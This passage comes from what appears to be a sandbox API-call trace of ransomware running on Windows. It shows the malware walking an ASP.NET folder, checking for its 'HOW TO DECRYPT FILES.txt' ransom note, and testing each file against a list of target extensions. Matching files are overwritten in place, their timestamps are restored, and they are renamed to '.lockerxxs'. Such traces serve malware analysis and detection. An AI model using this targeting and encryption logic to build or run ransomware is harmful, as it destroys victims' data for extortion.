(lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs.lockerxxs")) returned 1 [0137.104] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b03900, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x6b63a6e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf6b03900, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xbbb7, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="WebAdminPage.cs", cAlternateFileName="WEBADM~1.CS")) returned 1 [0137.104] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.104] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminPage.cs") returned -1 [0137.104] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminPage.cs") returned -1 [0137.104] lstrcmpiA (lpString1="", lpString2="WebAdminPage.cs") returned -1 [0137.104] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs") returned="SecurityPage.cs" [0137.104] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.104] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.104] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.104] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0x20 [0137.104] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="WebAdminPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" [0137.104] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.ems") returned 0 [0137.104] lstrlenA (lpString="*.ems") returned 5 [0137.104] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.db") returned 0 [0137.104] lstrlenA (lpString="*.db") returned 4 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.dbf") returned 0 [0137.105] lstrlenA (lpString="*.dbf") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.myox") returned 0 [0137.105] lstrlenA (lpString="*.myox") returned 6 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.myo") returned 0 [0137.105] lstrlenA (lpString="*.myo") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qbw") returned 0 [0137.105] lstrlenA (lpString="*.qbw") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qbb") returned 0 [0137.105] lstrlenA (lpString="*.qbb") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qbm") returned 0 [0137.105] lstrlenA (lpString="*.qbm") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qbo") returned 0 [0137.105] lstrlenA (lpString="*.qbo") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qbx") returned 0 [0137.105] lstrlenA (lpString="*.qbx") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qba") returned 0 [0137.105] lstrlenA (lpString="*.qba") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qby") returned 0 [0137.105] lstrlenA (lpString="*.qby") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qbj") returned 0 [0137.105] lstrlenA (lpString="*.qbj") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.ofx") returned 0 [0137.105] lstrlenA (lpString="*.ofx") returned 5 [0137.105] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.qif") returned 0 [0137.105] lstrlenA (lpString="*.qif") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.mye") returned 0 [0137.106] lstrlenA (lpString="*.mye") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.mbox") returned 0 [0137.106] lstrlenA (lpString="*.mbox") returned 6 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.eml") returned 0 [0137.106] lstrlenA (lpString="*.eml") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.pst") returned 0 [0137.106] lstrlenA (lpString="*.pst") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.ost") returned 0 [0137.106] lstrlenA (lpString="*.ost") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.idx") returned 0 [0137.106] lstrlenA (lpString="*.idx") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.dbx") returned 0 [0137.106] lstrlenA (lpString="*.dbx") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.sql") returned 0 [0137.106] lstrlenA (lpString="*.sql") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.mdb") returned 0 [0137.106] lstrlenA (lpString="*.mdb") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.fdb") returned 0 [0137.106] lstrlenA (lpString="*.fdb") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.wab") returned 0 [0137.106] lstrlenA (lpString="*.wab") returned 5 [0137.106] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.dat") returned 0 [0137.107] lstrlenA (lpString="*.dat") returned 5 [0137.107] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.txt") returned 0 [0137.107] lstrlenA (lpString="*.txt") returned 5 [0137.107] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.jpeg") returned 0 [0137.107] lstrlenA (lpString="*.jpeg") returned 6 [0137.107] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.jpg") returned 0 [0137.107] lstrlenA (lpString="*.jpg") returned 5 [0137.107] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.png") returned 0 [0137.107] lstrlenA (lpString="*.png") returned 5 [0137.107] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.php") returned 0 [0137.107] lstrlenA (lpString="*.php") returned 5 [0137.107] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", pszSpec="*.cs") returned 1 [0137.107] lstrlenA (lpString="*.cs") returned 4 [0137.107] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" [0137.107] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" [0137.107] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs." [0137.107] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.lockerxxs" [0137.107] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.109] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbbb7 [0137.109] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xf6b03900, dwHighDateTime=0x1d06a01), lpLastAccessTime=0x407536*(dwLowDateTime=0x6b63a6e0, dwHighDateTime=0x1d2e676), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf6b03900, dwHighDateTime=0x1d06a01)) returned 1 [0137.109] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.109] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xbb91, lpOverlapped=0x0) returned 1 [0137.111] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs") returned="WebAdminPage.cs" [0137.112] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.112] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xbb91, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xbb91, lpOverlapped=0x0) returned 1 [0137.112] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.112] CloseHandle (hObject=0x94) returned 1 [0137.113] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs.lockerxxs")) returned 1 [0137.113] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x23c, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="WizardPage.cs", cAlternateFileName="WIZARD~1.CS")) returned 1 [0137.113] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.113] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WizardPage.cs") returned -1 [0137.113] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WizardPage.cs") returned -1 [0137.114] lstrcmpiA (lpString1="", lpString2="WizardPage.cs") returned -1 [0137.114] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs") returned="WebAdminPage.cs" [0137.114] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.114] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.114] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.114] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0x20 [0137.114] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="WizardPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.ems") returned 0 [0137.114] lstrlenA (lpString="*.ems") returned 5 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.db") returned 0 [0137.114] lstrlenA (lpString="*.db") returned 4 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.dbf") returned 0 [0137.114] lstrlenA (lpString="*.dbf") returned 5 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.myox") returned 0 [0137.114] lstrlenA (lpString="*.myox") returned 6 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.myo") returned 0 [0137.114] lstrlenA (lpString="*.myo") returned 5 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qbw") returned 0 [0137.114] lstrlenA (lpString="*.qbw") returned 5 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qbb") returned 0 [0137.114] lstrlenA (lpString="*.qbb") returned 5 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qbm") returned 0 [0137.114] lstrlenA (lpString="*.qbm") returned 5 [0137.114] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qbo") returned 0 [0137.115] lstrlenA (lpString="*.qbo") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qbx") returned 0 [0137.115] lstrlenA (lpString="*.qbx") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qba") returned 0 [0137.115] lstrlenA (lpString="*.qba") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qby") returned 0 [0137.115] lstrlenA (lpString="*.qby") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qbj") returned 0 [0137.115] lstrlenA (lpString="*.qbj") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.ofx") returned 0 [0137.115] lstrlenA (lpString="*.ofx") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.qif") returned 0 [0137.115] lstrlenA (lpString="*.qif") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.mye") returned 0 [0137.115] lstrlenA (lpString="*.mye") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.mbox") returned 0 [0137.115] lstrlenA (lpString="*.mbox") returned 6 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.eml") returned 0 [0137.115] lstrlenA (lpString="*.eml") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.pst") returned 0 [0137.115] lstrlenA (lpString="*.pst") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.ost") returned 0 [0137.115] lstrlenA (lpString="*.ost") returned 5 [0137.115] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.idx") returned 0 [0137.116] lstrlenA (lpString="*.idx") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.dbx") returned 0 [0137.116] lstrlenA (lpString="*.dbx") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.sql") returned 0 [0137.116] lstrlenA (lpString="*.sql") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.mdb") returned 0 [0137.116] lstrlenA (lpString="*.mdb") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.fdb") returned 0 [0137.116] lstrlenA (lpString="*.fdb") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.wab") returned 0 [0137.116] lstrlenA (lpString="*.wab") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.dat") returned 0 [0137.116] lstrlenA (lpString="*.dat") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.txt") returned 0 [0137.116] lstrlenA (lpString="*.txt") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.jpeg") returned 0 [0137.116] lstrlenA (lpString="*.jpeg") returned 6 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.jpg") returned 0 [0137.116] lstrlenA (lpString="*.jpg") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.png") returned 0 [0137.116] lstrlenA (lpString="*.png") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.php") returned 0 [0137.116] lstrlenA (lpString="*.php") returned 5 [0137.116] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs", pszSpec="*.cs") returned 1 [0137.116] lstrlenA (lpString="*.cs") returned 4 [0137.116] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs") 